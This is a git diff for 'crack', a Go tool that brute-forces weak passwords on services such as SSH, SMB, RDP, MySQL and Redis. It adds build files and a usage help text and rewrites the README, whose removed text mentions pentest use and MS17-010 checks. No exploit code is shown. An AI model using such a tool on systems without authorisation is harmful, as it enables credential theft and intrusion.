diff --git a/.github/dependabot.yml b/.github/dependabot.yml
new file mode 100755
index 0000000..69d9543
--- /dev/null
+++ b/.github/dependabot.yml
@@ -0,0 +1,37 @@
+# To get started with Dependabot version updates, you'll need to specify which
+# package ecosystems to update and where the package manifests are located.
+# Please see the documentation for all configuration options:
+# https://help.github.com/github/administering-a-repository/configuration-options-for-dependency-updates
+
+version: 2
+updates:
+
+ # Maintain dependencies for GitHub Actions
+ - package-ecosystem: "github-actions"
+ directory: "/"
+ schedule:
+ interval: "weekly"
+ target-branch: "dev"
+ commit-message:
+ prefix: "chore"
+ include: "scope"
+
+ # Maintain dependencies for go modules
+ - package-ecosystem: "gomod"
+ directory: "/"
+ schedule:
+ interval: "weekly"
+ target-branch: "dev"
+ commit-message:
+ prefix: "chore"
+ include: "scope"
+
+ # Maintain dependencies for docker
+ - package-ecosystem: "docker"
+ directory: "/"
+ schedule:
+ interval: "weekly"
+ target-branch: "dev"
+ commit-message:
+ prefix: "chore"
+ include: "scope"
\ No newline at end of file
diff --git a/.github/workflows/build-test.yml b/.github/workflows/build-test.yml
new file mode 100755
index 0000000..07c4e77
--- /dev/null
+++ b/.github/workflows/build-test.yml
@@ -0,0 +1,21 @@
+name: Build
+on:
+ pull_request:
+ workflow_dispatch:
+
+jobs:
+ build:
+ name: Test Builds
+ runs-on: ubuntu-latest
+ steps:
+ - name: Set up Go
+ uses: actions/setup-go@v3
+ with:
+ go-version: 1.18
+
+ - name: Check out code
+ uses: actions/checkout@v3
+
+ - name: Build
+ run: go build .
+ working-directory: cmd/crack/
\ No newline at end of file
diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml
new file mode 100755
index 0000000..8da69a8
--- /dev/null
+++ b/.github/workflows/codeql-analysis.yml
@@ -0,0 +1,38 @@
+name: CodeQL
+
+on:
+ workflow_dispatch:
+ pull_request:
+ branches:
+ - dev
+
+jobs:
+ analyze:
+ name: Analyze
+ runs-on: ubuntu-latest
+ permissions:
+ actions: read
+ contents: read
+ security-events: write
+
+ strategy:
+ fail-fast: false
+ matrix:
+ language: [ 'go' ]
+ # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
+
+ steps:
+ - name: Checkout repository
+ uses: actions/checkout@v3
+
+ # Initializes the CodeQL tools for scanning.
+ - name: Initialize CodeQL
+ uses: github/codeql-action/init@v2
+ with:
+ languages: ${{ matrix.language }}
+
+ - name: Autobuild
+ uses: github/codeql-action/autobuild@v2
+
+ - name: Perform CodeQL Analysis
+ uses: github/codeql-action/analyze@v2
\ No newline at end of file
diff --git a/.github/workflows/lint-test.yml b/.github/workflows/lint-test.yml
new file mode 100755
index 0000000..1309c28
--- /dev/null
+++ b/.github/workflows/lint-test.yml
@@ -0,0 +1,19 @@
+name: Lint
+on:
+ push:
+ pull_request:
+ workflow_dispatch:
+
+jobs:
+ lint:
+ name: Lint Test
+ runs-on: ubuntu-latest
+ steps:
+ - name: Checkout code
+ uses: actions/checkout@v3
+ - name: Run golangci-lint
+ uses: golangci/golangci-lint-action@v3.2.0
+ with:
+ version: latest
+ args: --timeout 5m
+ working-directory: .
\ No newline at end of file
diff --git a/.github/workflows/release-binary.yml b/.github/workflows/release-binary.yml
new file mode 100755
index 0000000..a029d6a
--- /dev/null
+++ b/.github/workflows/release-binary.yml
@@ -0,0 +1,31 @@
+name: Release
+on:
+ create:
+ tags:
+ - v*
+ workflow_dispatch:
+
+jobs:
+ release:
+ runs-on: ubuntu-latest
+ steps:
+ -
+ name: "Check out code"
+ uses: actions/checkout@v3
+ with:
+ fetch-depth: 0
+ -
+ name: "Set up Go"
+ uses: actions/setup-go@v3
+ with:
+ go-version: 1.18
+ -
+ env:
+ GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
+ name: "Create release on GitHub"
+ uses: goreleaser/goreleaser-action@v3
+ with:
+ distribution: goreleaser
+ version: latest
+ args: "release --rm-dist"
+ workdir: .
\ No newline at end of file
diff --git a/.gitignore b/.gitignore
new file mode 100755
index 0000000..79a9306
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,6 @@
+.idea/
+.DS_Store
+dist/
+bin/
+cmd/crack/crack
+cmd/crack/crack.txt
\ No newline at end of file
diff --git a/.goreleaser.yml b/.goreleaser.yml
new file mode 100755
index 0000000..2ded1af
--- /dev/null
+++ b/.goreleaser.yml
@@ -0,0 +1,42 @@
+before:
+ hooks:
+ - go mod tidy
+ - go generate ./...
+
+builds:
+- env:
+ - CGO_ENABLED=0
+ goos:
+ - linux
+ - windows
+ - darwin
+ goarch:
+ - amd64
+ - arm64
+ - arm
+ - "386"
+ goarm:
+ - "6"
+ - "7"
+ flags:
+ - -trimpath
+ ldflags:
+ - -s -w
+ ignore:
+ - goos: windows
+ goarch: arm64
+ - goos: windows
+ goarch: arm
+ - goos: linux
+ goarch: mips64
+
+ binary: '{{ .ProjectName }}'
+ main: cmd/crack/crack.go
+
+archives:
+- format: zip
+ replacements:
+ darwin: macOS
+
+checksum:
+ algorithm: sha256
\ No newline at end of file
diff --git a/Dockerfile b/Dockerfile
new file mode 100644
index 0000000..1912db0
--- /dev/null
+++ b/Dockerfile
@@ -0,0 +1,12 @@
+FROM golang:1.18.4-alpine as builder
+RUN apk add --no-cache make git
+WORKDIR /crack-src
+COPY . /crack-src
+RUN go mod download && \
+ make docker && \
+ mv ./bin/crack-docker /crack
+
+FROM alpine:latest
+COPY --from=builder /crack /
+
+ENTRYPOINT ["/crack"]
\ No newline at end of file
diff --git a/LICENSE b/LICENSE
new file mode 100755
index 0000000..32740dc
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright © 2020-2022 zu1k i@zu1k.com
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..8988a41
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,14 @@
+NAME=crack
+BUILDPATH=cmd/crack/crack.go
+BINDIR=bin
+VERSION=$(shell git describe --tags || echo "unknown version")
+GOBUILD=CGO_ENABLED=0 go build -trimpath -ldflags '-w -s'
+
+docker:
+ $(GOBUILD) -o $(BINDIR)/$(NAME)-$@ $(BUILDPATH)
+
+sha256sum:
+ cd $(BINDIR); for file in *; do sha256sum $$file > $$file.sha256; done
+
+clean:
+ rm $(BINDIR)/*
\ No newline at end of file
diff --git a/README.md b/README.md
index 3fccbb0..754e595 100644
--- a/README.md
+++ b/README.md
@@ -1,142 +1,92 @@
-### 声明
-
-仅限用于技术研究和获得正式授权的测试活动。
-
-### 项目说明
-
-我过去内网渗透中弱口令爆破一般使用超级弱口令(shack2),但是存在部分问题。一是只支持windows系统+图形化界面,这就意味着要走代理或者 3389 连接上去使用;二是每次爆破都需要选择协议、ip 列表、字典文件,略显麻烦。
-
-然后正好过年的时候看了《白帽子安全开发实战》,发现 go 语言真香,速度快+跨平台编译十分方便,因此花了点时间开发这个项目。
-
-项目大致思路:只需要将端口扫描的结果放入 input.txt,即可启动go-crack,会根据端口对应默认服务,并加载对应服务的爆破字典进行爆破。
-
-### 使用介绍
-
-
-
-- 目前支持的类型(即端口对应的默认服务)
-
-弱口令
-
-```
- 21: "ftp",
- 22: "ssh",
- 135: "wmi",
- 161: "snmp",
- 445: "smb",
- 1433: "mssql",
- //1521: "oracle",
- 3306: "mysql",
- 3389: "rdp",
- 5432: "postgresql",
- 5985: "winrm",
- 6379: "redis",
- 27017: "mongodb",
-```
-
-漏洞(445 端口)
-
-```
- MS17-010
- CVE-2020-0796
-```
-
-未授权
-
-```
- 9200: "elasticsearch",
- 11211: "memcached",
-```
-
-web
-
-```
- tomcat
- phpmyadmin
-```
-
-- 并发数
-
-启动时我们需要控制的唯一参数就是并发数,`-n`指定即可,不指定的话默认为 10。
-
-- 输入文件
-
-固定输入文件名为:input.txt,每一行的格式为`ip:port`或者`ip:port|porotocol`,后面那种主要是针对修改了默认端口的服务。
-
-135 端口默认对应 wmi 爆破,如果要 hash 爆破的话请指定porotocol 为 wmihash。
-
-445 端口自动会检查 MS-17010和CVE-2020-0796。
-
-tomcat和 phpmyadmin 必须指定模块,如`127.0.0.1:8080|tomcat`。
-
-- 输出文件
-
-固定输出文件名为:output.txt。
-
-- 字典
-
-字典放在/dict 下,根据爆破的服务加载对应的字典,可以自行根据实际情况更新字典。
-
-### 使用演示
-
-执行
+
+ crack
+
+
+常见服务弱口令爆破工具
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+## 功能
+
+- 支持常见服务口令爆破(未授权检测)
+ - ftp
+ - ssh
+ - wmi
+ - wmihash
+ - smb
+ - mssql
+ - oracle
+ - mysql
+ - rdp
+ - postgres
+ - redis
+ - memcached
+ - mongodb
+- 多线程爆破,支持进度条
+- 全部插件测试用例([pkg/crack/plugins/plugins_test.go](https://github.com/niudaii/crack/blob/main/pkg/crack/plugins/plugins_test.go))
+- API调用,可参考([internal/runner/runner.go](https://github.com/niudaii/crack/blob/main/internal/runner/runner.go))
+
+## 使用
```
-./go-crack_darwin_amd64 go-crack
-./go-crack_darwin_amd64 go-crack -n 15
+➜ crack ./crack -h
+Service cracker
+
+Usage:
+ ./crack [flags]
+
+Flags:
+INPUT:
+ -i, -input string crack service input(example: -i '127.0.0.1:3306', -i '127.0.0.1:3307|mysql')
+ -f, -input-file string crack services file(example: -f 'xxx.txt')
+ -m, -module string choose one module to crack(ftp,ssh,wmi,mssql,oracle,mysql,rdp,postgres,redis,memcached,mongodb) (default "all")
+ -user string user(example: -user 'admin,root')
+ -pass string pass(example: -pass 'admin,root')
+ -user-file string user file(example: -user-file 'user.txt')
+ -pass-file string pass file(example: -pass-file 'pass.txt')
+
+CONFIG:
+ -threads int number of threads (default 1)
+ -timeout int timeout in seconds (default 10)
+ -delay int delay between requests in seconds (0 to disable)
+ -crack-all crack all user:pass
+
+OUTPUT:
+ -o, -output string output file to write found results (default "crack.txt")
+ -nc, -no-color disable colors in output
+
+DEBUG:
+ -silent show only results in output
+ -debug show debug output
```
-
-
-可以看到除了弱口令之外,扫描出可能存在 MS-17010,可以进一步确认。
-
-### 后续计划
+## 截图
-- [x] rdp、oracle 协议爆破。
-- [x] tomcat、weblogic 等web 弱口令爆破。
-- [ ] 加入端口扫描+指纹识别(那么只需要输入 IP 即可一键大保健)。
+
-### 更新记录
+## 说明
-2021.04.20
+已经停止更新,该项目作为 [zpscan](https://github.com/niudaii/zpscan) 的模块之一,后续更新参考 zpscan。
-- 第一版。
-
-2021.04.24
-
-- 增加了 wmi爆破和 wmihash 爆破模块。
-
-2021.04.30
-
-- mac实现 RDP、oracle,但是 oracle 多次爆破会锁定账户,因此移除。(windows 和 linux 看情况加,反正也没人 star🐶,建议下载`Release V1.1`因为支持多平台)。
-- 增加了 tomcat 和 phpmyadmin爆破,weblogic 多次爆破会锁定账户,因此移除。(ps,`cve-2020-14882`)。
-- 更新了一波大字典,也能在几分钟内完成。
-
-2021.05.15
-
-- 之前确实测试的较少,根据最近实战中遇到的一些问题,增加了一些可选参数
-
- ```
- -m "mssql" 指定要爆破的协议模块,可指定多个,比如 -m "mssql,mysql"
- -u "diyuser.txt" 加载自定义用户名字典,这时不加载爆破的服务对应的用户名字典,仍加载对应的密码字典
- -p "diypass.txt" 加载自定义密码字典,密码字典支持{user}格式,自动替换为当前爆破任务的用户名,比如{user}@2020,用户名为 admin时变为 admin@2020
- -i "input.txt" 输入文件
- -o "output.txt" 输出文件,默认为时间戳
- ```
-
-- 修改字典
-
-### 参考链接
+## 参考
https://github.com/netxfly/x-crack
-https://github.com/k8gege/LadonGo
-
-https://github.com/shadow1ng/fscan
-
-https://github.com/zsdevX/DarkEye
-
----
-
-喜欢的话给个Star吧,希望你不要不识抬举🐶。
-
+https://github.com/shadow1ng/fscan
\ No newline at end of file
diff --git a/cmd/crack/crack.go b/cmd/crack/crack.go
new file mode 100644
index 0000000..d1c2d2f
--- /dev/null
+++ b/cmd/crack/crack.go
@@ -0,0 +1,22 @@
+package main
+
+import (
+ "github.com/niudaii/crack/internal/runner"
+ "github.com/projectdiscovery/gologger"
+ "time"
+)
+
+func main() {
+ options := runner.ParseOptions()
+
+ start := time.Now()
+ gologger.Info().Msgf("当前时间: %v", start.Format("2006-01-02 15:04:05"))
+
+ newRunner, err := runner.NewRunner(options)
+ if err != nil {
+ gologger.Fatal().Msgf("Could not create runner: %v", err)
+ }
+ newRunner.Run()
+
+ gologger.Info().Msgf("运行时间: %v", time.Since(start))
+}
diff --git a/go.mod b/go.mod
new file mode 100644
index 0000000..00b2896
--- /dev/null
+++ b/go.mod
@@ -0,0 +1,55 @@
+module github.com/niudaii/crack
+
+go 1.18
+
+require (
+ github.com/C-Sto/goWMIExec v0.0.1-deva
+ github.com/cheggaaa/pb/v3 v3.1.0
+ github.com/denisenkom/go-mssqldb v0.12.2
+ github.com/go-redis/redis v6.15.9+incompatible
+ github.com/go-sql-driver/mysql v1.6.0
+ github.com/jlaffaye/ftp v0.0.0-20220829015825-b85cf1edccd4
+ github.com/lib/pq v1.10.6
+ github.com/projectdiscovery/goflags v0.0.9
+ github.com/projectdiscovery/gologger v1.1.4
+ github.com/sijms/go-ora/v2 v2.5.3
+ github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
+ github.com/tomatome/grdp v0.0.0-20220713105348-9917c8b96a4f
+ go.uber.org/zap v1.23.0
+ golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
+ golang.org/x/text v0.3.7
+ gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22
+)
+
+require (
+ github.com/VividCortex/ewma v1.1.1 // indirect
+ github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect
+ github.com/fatih/color v1.10.0 // indirect
+ github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect
+ github.com/golang-sql/sqlexp v0.1.0 // indirect
+ github.com/hashicorp/errwrap v1.0.0 // indirect
+ github.com/hashicorp/go-multierror v1.1.1 // indirect
+ github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect
+ github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 // indirect
+ github.com/json-iterator/go v1.1.10 // indirect
+ github.com/karrick/godirwalk v1.16.1 // indirect
+ github.com/logrusorgru/aurora v2.0.3+incompatible // indirect
+ github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect
+ github.com/mattn/go-colorable v0.1.8 // indirect
+ github.com/mattn/go-isatty v0.0.12 // indirect
+ github.com/mattn/go-runewidth v0.0.12 // indirect
+ github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
+ github.com/modern-go/reflect2 v1.0.1 // indirect
+ github.com/onsi/ginkgo v1.16.5 // indirect
+ github.com/onsi/gomega v1.20.2 // indirect
+ github.com/pkg/errors v0.9.1 // indirect
+ github.com/projectdiscovery/fileutil v0.0.0-20210928100737-cab279c5d4b5 // indirect
+ github.com/projectdiscovery/stringsutil v0.0.0-20210804142656-fd3c28dbaafe // indirect
+ github.com/rivo/uniseg v0.2.0 // indirect
+ go.uber.org/atomic v1.7.0 // indirect
+ go.uber.org/multierr v1.6.0 // indirect
+ golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f // indirect
+ gopkg.in/yaml.v3 v3.0.1 // indirect
+)
+
+replace github.com/tomatome/grdp v0.0.0-20220713105348-9917c8b96a4f => github.com/shadow1ng/grdp v1.0.3
diff --git a/go.sum b/go.sum
new file mode 100644
index 0000000..1771dc5
--- /dev/null
+++ b/go.sum
@@ -0,0 +1,491 @@
+cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
+cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
+cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
+cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
+cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
+cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
+cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
+cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
+cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
+cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
+cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
+cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
+dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
+github.com/Azure/azure-sdk-for-go/sdk/azcore v0.19.0/go.mod h1:h6H6c8enJmmocHUbLiiGY6sx7f9i+X3m1CHdd5c6Rdw=
+github.com/Azure/azure-sdk-for-go/sdk/azidentity v0.11.0/go.mod h1:HcM1YX14R7CJcghJGOYCgdezslRSVzqwLf/q+4Y2r/0=
+github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8=
+github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
+github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
+github.com/C-Sto/goWMIExec v0.0.1-deva h1:z78Hr/s/JvCv7U9kbNqUI63B5g0oix/iD0YBBLuej1Y=
+github.com/C-Sto/goWMIExec v0.0.1-deva/go.mod h1:p7KNiMhZQzgHl0wRxuxQvsxraevlQaznbrgW2o8EXbc=
+github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
+github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
+github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
+github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
+github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
+github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
+github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
+github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
+github.com/benbjohnson/clock v1.1.0 h1:Q92kusRqC1XV2MjkWETPvjJVqKetz1OzxZB7mHJLju8=
+github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
+github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
+github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
+github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
+github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
+github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
+github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
+github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
+github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 h1:ox2F0PSMlrAAiAdknSRMDrAr8mfxPCfSZolH+/qQnyQ=
+github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08/go.mod h1:pCxVEbcm3AMg7ejXyorUXi6HQCzOIBf7zEDVPtw0/U4=
+github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
+github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
+github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
+github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
+github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
+github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
+github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/denisenkom/go-mssqldb v0.12.2 h1:1OcPn5GBIobjWNd+8yjfHNIaFX14B1pWI3F9HZy5KXw=
+github.com/denisenkom/go-mssqldb v0.12.2/go.mod h1:lnIw1mZukFRZDJYQ0Pb833QS2IaC3l5HkEfra2LJ+sk=
+github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
+github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
+github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ=
+github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
+github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
+github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
+github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
+github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
+github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
+github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
+github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk=
+github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk=
+github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
+github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
+github.com/go-gl/glfw/v3.3/glfw v0.0.0-20210410170116-ea3d685f79fb/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
+github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
+github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
+github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
+github.com/go-redis/redis v6.15.9+incompatible h1:K0pv1D7EQUjfyoMql+r/jZqCLizCGKFlFgcHWWmHQjg=
+github.com/go-redis/redis v6.15.9+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA=
+github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
+github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
+github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
+github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE=
+github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
+github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
+github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
+github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
+github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
+github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A=
+github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI=
+github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k=
+github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
+github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
+github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
+github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
